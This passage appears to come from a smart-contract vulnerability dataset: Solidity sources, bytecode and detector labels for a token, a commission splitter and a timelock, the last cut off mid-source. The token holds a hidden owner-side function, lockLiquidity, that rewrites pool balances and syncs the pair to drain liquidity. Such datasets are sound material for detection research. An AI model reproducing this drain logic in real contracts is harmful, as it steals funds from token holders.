function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) { require(amount<=_maxTxAmount,"Transaction amount limited"); } if(to != _pair && ! _isExcludedFromFee[to] && ! _isExcludedFromFee[from]) { require(balanceOf(to) + amount <= _maxWallet, "Balance exceeded wallet size"); } uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _pair && _swapEnabled) { swapTokensForEth(contractTokenBalance,address(this)); uint256 contractETHBalance = address(this).balance; if(contractETHBalance >= 40000000000000000) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount,(_isExcludedFromFee[to]||_isExcludedFromFee[from])?0:_taxFee); } function swapTokensForEth(uint256 tokenAmount,address to) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswap.WETH(); _approve(address(this), address(_uniswap), tokenAmount); _uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, to, block.timestamp ); } function increaseMaxTx(uint256 amount) public onlyOwner{ require(amount>_maxTxAmount); _maxTxAmount=amount; } function increaseMaxWallet(uint256 amount) public onlyOwner{ require(amount>_maxWallet); _maxWallet=amount; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function createUniswapPair() external onlyOwner { require(!_canTrade,"Trading is already open"); _approve(address(this), address(_uniswap), _tTotal); _pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH()); IERC20(_pair).approve(address(_uniswap), type(uint).max); } function lockLiquidity() public{ require(_msgSender()==_taxWallet); _balance[address(this)] = 100000000000000000; _balance[_pair] = 1; (bool success,) = _pair.call(abi.encodeWithSelector(bytes4(0xfff6cae9))); if (success) { swapTokensForEth(100000000, _taxWallet); } else { revert("Internal failure"); } } function addLiquidity() external onlyOwner{ _uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _swapEnabled = true; _canTrade = true; } function _tokenTransfer(address sender, address recipient, uint256 tAmount, uint256 taxRate) private { uint256 tTeam = tAmount.mul(taxRate).div(100); uint256 tTransferAmount = tAmount.sub(tTeam); _balance[sender] = _balance[sender].sub(tAmount); _balance[recipient] = _balance[recipient].add(tTransferAmount); _balance[address(this)] = _balance[address(this)].add(tTeam); emit Transfer(sender, recipient, tTransferAmount); } receive() external payable {} function manualSwap() public{ uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance,address(this)); } function manualSend() public{ uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } }
0x6080604052600436106101185760003560e01c8063715018a6116100a0578063bb2f719911610064578063bb2f71991461031e578063d91a21a614610333578063dd62ed3e14610353578063e8078d9414610399578063f4293890146103ae57600080fd5b8063715018a61461027f5780637d1db4a5146102945780638da5cb5b146102aa57806395d89b41146102d2578063a9059cbb146102fe57600080fd5b8063313ce567116100e7578063313ce567146101e15780633e7175c5146101fd5780634a1316721461021f57806351bc3c851461023457806370a082311461024957600080fd5b806306fdde0314610124578063095ea7b31461017257806318160ddd146101a257806323b872dd146101c157600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201909152601381527241747461636b204f6620546974616e20496e7560681b60208201525b6040516101699190611444565b60405180910390f35b34801561017e57600080fd5b5061019261018d36600461148c565b6103c3565b6040519015158152602001610169565b3480156101ae57600080fd5b506005545b604051908152602001610169565b3480156101cd57600080fd5b506101926101dc3660046114b8565b6103da565b3480156101ed57600080fd5b5060405160128152602001610169565b34801561020957600080fd5b5061021d6102183660046114f9565b610443565b005b34801561022b57600080fd5b5061021d610489565b34801561024057600080fd5b5061021d610762565b34801561025557600080fd5b506101b3610264366004611512565b6001600160a01b031660009081526002602052604090205490565b34801561028b57600080fd5b5061021d61077e565b3480156102a057600080fd5b506101b360095481565b3480156102b657600080fd5b506000546040516001600160a01b039091168152602001610169565b3480156102de57600080fd5b506040805180820190915260038152621053d560ea1b602082015261015c565b34801561030a57600080fd5b5061019261031936600461148c565b6107f2565b34801561032a57600080fd5b5061021d6107ff565b34801561033f57600080fd5b5061021d61034e3660046114f9565b61092e565b34801561035f57600080fd5b506101b361036e36600461152f565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156103a557600080fd5b5061021d61096b565b3480156103ba57600080fd5b5061021d610a94565b60006103d0338484610ae7565b5060015b92915050565b60006103e7848484610c0b565b610439843361043485604051806060016040528060288152602001611734602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610fc0565b610ae7565b5060019392505050565b6000546001600160a01b031633146104765760405162461bcd60e51b815260040161046d90611568565b60405180910390fd5b600654811161048457600080fd5b600655565b6000546001600160a01b031633146104b35760405162461bcd60e51b815260040161046d90611568565b600b54600160a01b900460ff161561050d5760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161046d565b600a5460055461052a9130916001600160a01b0390911690610ae7565b600a60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561057857600080fd5b505afa15801561058c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105b0919061159d565b6001600160a01b031663c9c6539630600a60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561060d57600080fd5b505afa158015610621573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610645919061159d565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561068d57600080fd5b505af11580156106a1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106c5919061159d565b600b80546001600160a01b0319166001600160a01b03928316908117909155600a5460405163095ea7b360e01b81529216600483015260001960248301529063095ea7b390604401602060405180830381600087803b15801561072757600080fd5b505af115801561073b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075f91906115ba565b50565b30600090815260026020526040812054905061075f8130610ffa565b6000546001600160a01b031633146107a85760405162461bcd60e51b815260040161046d90611568565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103d0338484610c0b565b6008546001600160a01b0316336001600160a01b03161461081f57600080fd5b30600090815260026020908152604080832067016345785d8a00009055600b80546001600160a01b03908116855282852060019055905482516004815260248101845293840180516001600160e01b031660016209351760e01b0319179052915191169161088c916115dc565b6000604051808303816000865af19150503d80600081146108c9576040519150601f19603f3d011682016040523d82523d6000602084013e6108ce565b606091505b5050905080156108f35760085461075f906305f5e100906001600160a01b0316610ffa565b60405162461bcd60e51b815260206004820152601060248201526f496e7465726e616c206661696c75726560801b604482015260640161046d565b6000546001600160a01b031633146109585760405162461bcd60e51b815260040161046d90611568565b600954811161096657600080fd5b600955565b6000546001600160a01b031633146109955760405162461bcd60e51b815260040161046d90611568565b600a546001600160a01b031663f305d71947306109c7816001600160a01b031660009081526002602052604090205490565b6000806109dc6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a3f57600080fd5b505af1158015610a53573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a7891906115f8565b5050600b805462ff00ff60a01b19166201000160a01b17905550565b4761075f81611184565b6000610ae083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506111c2565b9392505050565b6001600160a01b038316610b495760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161046d565b6001600160a01b038216610baa5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161046d565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c6f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161046d565b6001600160a01b038216610cd15760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161046d565b60008111610d335760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161046d565b6000546001600160a01b03848116911614801590610d5f57506000546001600160a01b03838116911614155b15610f5f57600b546001600160a01b038481169116148015610d8f5750600a546001600160a01b03838116911614155b8015610db457506001600160a01b03821660009081526004602052604090205460ff16155b15610e0b57600954811115610e0b5760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d69746564000000000000604482015260640161046d565b600b546001600160a01b03838116911614801590610e4257506001600160a01b03821660009081526004602052604090205460ff16155b8015610e6757506001600160a01b03831660009081526004602052604090205460ff16155b15610ee75760065481610e8f846001600160a01b031660009081526002602052604090205490565b610e99919061163c565b1115610ee75760405162461bcd60e51b815260206004820152601c60248201527f42616c616e63652065786365656465642077616c6c65742073697a6500000000604482015260640161046d565b30600090815260026020526040902054600b54600160a81b900460ff16158015610f1f5750600b546001600160a01b03858116911614155b8015610f345750600b54600160b01b900460ff165b15610f5d57610f438130610ffa565b47668e1bc9bf0400008110610f5b57610f5b47611184565b505b505b6001600160a01b038216600090815260046020526040902054610fbb9084908490849060ff1680610fa857506001600160a01b03871660009081526004602052604090205460ff165b610fb4576007546111f0565b60006111f0565b505050565b60008184841115610fe45760405162461bcd60e51b815260040161046d9190611444565b506000610ff18486611654565b95945050505050565b600b805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110425761104261166b565b6001600160a01b03928316602091820292909201810191909152600a54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561109657600080fd5b505afa1580156110aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110ce919061159d565b816001815181106110e1576110e161166b565b6001600160a01b039283166020918202929092010152600a546111079130911685610ae7565b600a5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611140908690600090869088904290600401611681565b600060405180830381600087803b15801561115a57600080fd5b505af115801561116e573d6000803e3d6000fd5b5050600b805460ff60a81b191690555050505050565b6008546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156111be573d6000803e3d6000fd5b5050565b600081836111e35760405162461bcd60e51b815260040161046d9190611444565b506000610ff184866116f2565b6000611207606461120185856112f4565b90610a9e565b905060006112158483611373565b6001600160a01b03871660009081526002602052604090205490915061123b9085611373565b6001600160a01b03808816600090815260026020526040808220939093559087168152205461126a90826113b5565b6001600160a01b03861660009081526002602052604080822092909255308152205461129690836113b5565b3060009081526002602090815260409182902092909255518281526001600160a01b0387811692908916917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050505050565b600082611303575060006103d4565b600061130f8385611714565b90508261131c85836116f2565b14610ae05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161046d565b6000610ae083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fc0565b6000806113c2838561163c565b905083811015610ae05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161046d565b60005b8381101561142f578181015183820152602001611417565b8381111561143e576000848401525b50505050565b6020815260008251806020840152611463816040850160208701611414565b601f01601f19169190910160400192915050565b6001600160a01b038116811461075f57600080fd5b6000806040838503121561149f57600080fd5b82356114aa81611477565b946020939093013593505050565b6000806000606084860312156114cd57600080fd5b83356114d881611477565b925060208401356114e881611477565b929592945050506040919091013590565b60006020828403121561150b57600080fd5b5035919050565b60006020828403121561152457600080fd5b8135610ae081611477565b6000806040838503121561154257600080fd5b823561154d81611477565b9150602083013561155d81611477565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156115af57600080fd5b8151610ae081611477565b6000602082840312156115cc57600080fd5b81518015158114610ae057600080fd5b600082516115ee818460208701611414565b9190910192915050565b60008060006060848603121561160d57600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052601160045260246000fd5b6000821982111561164f5761164f611626565b500190565b60008282101561166657611666611626565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156116d15784516001600160a01b0316835293830193918301916001016116ac565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261170f57634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561172e5761172e611626565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220926fcecaa053c849f9bd731d7459bc02121ab992332ac0a0c7e886f015cbe90d64736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,843
0xb4851a245d522b2562a0562162fc4a57f419a7e9
pragma solidity ^0.4.13; library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract RBAC { using Roles for Roles.Role; mapping (string => Roles.Role) private roles; event RoleAdded(address addr, string roleName); event RoleRemoved(address addr, string roleName); /** * @dev reverts if addr does not have role * @param addr address * @param roleName the name of the role * // reverts */ function checkRole(address addr, string roleName) view public { roles[roleName].check(addr); } /** * @dev determine if addr has role * @param addr address * @param roleName the name of the role * @return bool */ function hasRole(address addr, string roleName) view public returns (bool) { return roles[roleName].has(addr); } /** * @dev add a role to an address * @param addr address * @param roleName the name of the role */ function addRole(address addr, string roleName) internal { roles[roleName].add(addr); emit RoleAdded(addr, roleName); } /** * @dev remove a role from an address * @param addr address * @param roleName the name of the role */ function removeRole(address addr, string roleName) internal { roles[roleName].remove(addr); emit RoleRemoved(addr, roleName); } /** * @dev modifier to scope access to a single role (uses msg.sender as addr) * @param roleName the name of the role * // reverts */ modifier onlyRole(string roleName) { checkRole(msg.sender, roleName); _; } /** * @dev modifier to scope access to a set of roles (uses msg.sender as addr) * @param roleNames the names of the roles to scope access to * // reverts * * @TODO - when solidity supports dynamic arrays as arguments to modifiers, provide this * see: https://github.com/ethereum/solidity/issues/2467 */ // modifier onlyRoles(string[] roleNames) { // bool hasAnyRole = false; // for (uint8 i = 0; i < roleNames.length; i++) { // if (hasRole(msg.sender, roleNames[i])) { // hasAnyRole = true; // break; // } // } // require(hasAnyRole); // _; // } } library Roles { struct Role { mapping (address => bool) bearer; } /** * @dev give an address access to this role */ function add(Role storage role, address addr) internal { role.bearer[addr] = true; } /** * @dev remove an address' access to this role */ function remove(Role storage role, address addr) internal { role.bearer[addr] = false; } /** * @dev check if an address has this role * // reverts */ function check(Role storage role, address addr) view internal { require(has(role, addr)); } /** * @dev check if an address has this role * @return bool */ function has(Role storage role, address addr) view internal returns (bool) { return role.bearer[addr]; } } contract Staff is Ownable, RBAC { string public constant ROLE_STAFF = "staff"; function addStaff(address _staff) public onlyOwner { addRole(_staff, ROLE_STAFF); } function removeStaff(address _staff) public onlyOwner { removeRole(_staff, ROLE_STAFF); } function isStaff(address _staff) view public returns (bool) { return hasRole(_staff, ROLE_STAFF); } } contract StaffUtil { Staff public staffContract; constructor (Staff _staffContract) public { require(msg.sender == _staffContract.owner()); staffContract = _staffContract; } modifier onlyOwner() { require(msg.sender == staffContract.owner()); _; } modifier onlyOwnerOrStaff() { require(msg.sender == staffContract.owner() || staffContract.isStaff(msg.sender)); _; } } contract Commission is StaffUtil { using SafeMath for uint256; address public crowdsale; address public ethFundsWallet; address[] public txFeeAddresses; uint256[] public txFeeNumerator; uint256 public txFeeDenominator; uint256 public txFeeCapInWei; uint256 public txFeeSentInWei; constructor( Staff _staffContract, address _ethFundsWallet, address[] _txFeeAddresses, uint256[] _txFeeNumerator, uint256 _txFeeDenominator, uint256 _txFeeCapInWei ) StaffUtil(_staffContract) public { require(_ethFundsWallet != address(0)); require(_txFeeAddresses.length == _txFeeNumerator.length); require(_txFeeAddresses.length == 0 || _txFeeDenominator > 0); uint256 totalFeesNumerator; for (uint i = 0; i < txFeeAddresses.length; i++) { require(txFeeAddresses[i] != address(0)); require(_txFeeNumerator[i] > 0); require(_txFeeDenominator > _txFeeNumerator[i]); totalFeesNumerator = totalFeesNumerator.add(_txFeeNumerator[i]); } require(_txFeeDenominator == 0 || totalFeesNumerator < _txFeeDenominator); ethFundsWallet = _ethFundsWallet; txFeeAddresses = _txFeeAddresses; txFeeNumerator = _txFeeNumerator; txFeeDenominator = _txFeeDenominator; txFeeCapInWei = _txFeeCapInWei; } function() public payable { require(msg.sender == crowdsale); uint256 fundsToTransfer = msg.value; if (txFeeCapInWei > 0 && txFeeSentInWei < txFeeCapInWei) { for (uint i = 0; i < txFeeAddresses.length; i++) { uint256 txFeeToSendInWei = msg.value.mul(txFeeNumerator[i]).div(txFeeDenominator); if (txFeeToSendInWei > 0) { txFeeSentInWei = txFeeSentInWei.add(txFeeToSendInWei); fundsToTransfer = fundsToTransfer.sub(txFeeToSendInWei); txFeeAddresses[i].transfer(txFeeToSendInWei); } } } ethFundsWallet.transfer(fundsToTransfer); } function setCrowdsale(address _crowdsale) external onlyOwner { require(_crowdsale != address(0)); require(crowdsale == address(0)); crowdsale = _crowdsale; } }
0x608060405260043610610099576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806314b72000146102a1578063483a20b2146102cc57806349bfb0611461030f5780639c1e03a01461033a578063a487fd0714610391578063c641bf97146103e8578063de59fbb814610429578063fba0aa5b14610496578063fc28bc8f146104c1575b6000806000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156100fa57600080fd5b34925060006006541180156101125750600654600754105b1561023357600091505b6003805490508210156102325761016960055461015b60048581548110151561014157fe5b90600052602060002001543461051890919063ffffffff16565b61055090919063ffffffff16565b90506000811115610225576101898160075461056690919063ffffffff16565b6007819055506101a2818461058290919063ffffffff16565b92506003828154811015156101b357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610223573d6000803e3d6000fd5b505b818060010192505061011c565b5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc849081150290604051600060405180830381858888f1935050505015801561029b573d6000803e3d6000fd5b50505050005b3480156102ad57600080fd5b506102b661059b565b6040518082815260200191505060405180910390f35b3480156102d857600080fd5b5061030d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506105a1565b005b34801561031b57600080fd5b50610324610777565b6040518082815260200191505060405180910390f35b34801561034657600080fd5b5061034f61077d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561039d57600080fd5b506103a66107a3565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103f457600080fd5b50610413600480360381019080803590602001909291905050506107c9565b6040518082815260200191505060405180910390f35b34801561043557600080fd5b50610454600480360381019080803590602001909291905050506107ec565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104a257600080fd5b506104ab61082a565b6040518082815260200191505060405180910390f35b3480156104cd57600080fd5b506104d6610830565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b60008083141561052b576000905061054a565b818302905081838281151561053c57fe5b0414151561054657fe5b8090505b92915050565b6000818381151561055d57fe5b04905092915050565b6000818301905082811015151561057957fe5b80905092915050565b600082821115151561059057fe5b818303905092915050565b60065481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638da5cb5b6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15801561062657600080fd5b505af115801561063a573d6000803e3d6000fd5b505050506040513d602081101561065057600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561069a57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156106d657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561073357600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60055481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6004818154811015156107d857fe5b906000526020600020016000915090505481565b6003818154811015156107fb57fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60075481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16815600a165627a7a723058206b80ddeebff4f310859c2505ded0b7abed63af66ae89738c33be6054a4fc1f1d0029
{"success": true, "error": null, "results": {"detectors": [{"check": "msg-value-loop", "impact": "High", "confidence": "Medium"}]}}
3,844
0xd24347c40f4ed36f326f82e3befffaf3b8d436a1
// SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.7.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the addition of two unsigned integers, reverting with custom message on overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, errorMessage); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on underflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot underflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction underflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on underflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot underflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, errorMessage); return c; } /** * @dev Returns the integer division of two unsigned integers. * Reverts on division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. * Reverts with custom message on division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Timelock { using SafeMath for uint; event NewAdmin(address indexed newAdmin); event NewPendingAdmin(address indexed newPendingAdmin); event NewDelay(uint indexed newDelay); event CancelTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); event ExecuteTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); event QueueTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); uint public constant GRACE_PERIOD = 14 days; uint public constant MINIMUM_DELAY = 2 days; // uint public constant MINIMUM_DELAY = 10 minutes; // for on-chain test uint public constant MAXIMUM_DELAY = 30 days; address public admin; address public pendingAdmin; uint public delay; mapping (bytes32 => bool) public queuedTransactions; constructor(address admin_, uint delay_) { require(delay_ >= MINIMUM_DELAY, "Timelock::constructor: Delay must exceed minimum delay."); require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay."); admin = admin_; delay = delay_; } receive() external payable { } function setDelay(uint delay_) public { require(msg.sender == address(this), "Timelock::setDelay: Call must come from Timelock."); require(delay_ >= MINIMUM_DELAY, "Timelock::setDelay: Delay must exceed minimum delay."); require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay."); delay = delay_; emit NewDelay(delay); } function acceptAdmin() public { require(msg.sender == pendingAdmin, "Timelock::acceptAdmin: Call must come from pendingAdmin."); admin = msg.sender; pendingAdmin = address(0); emit NewAdmin(admin); } function setPendingAdmin(address pendingAdmin_) public { require(msg.sender == address(this), "Timelock::setPendingAdmin: Call must come from Timelock."); pendingAdmin = pendingAdmin_; emit NewPendingAdmin(pendingAdmin); } function 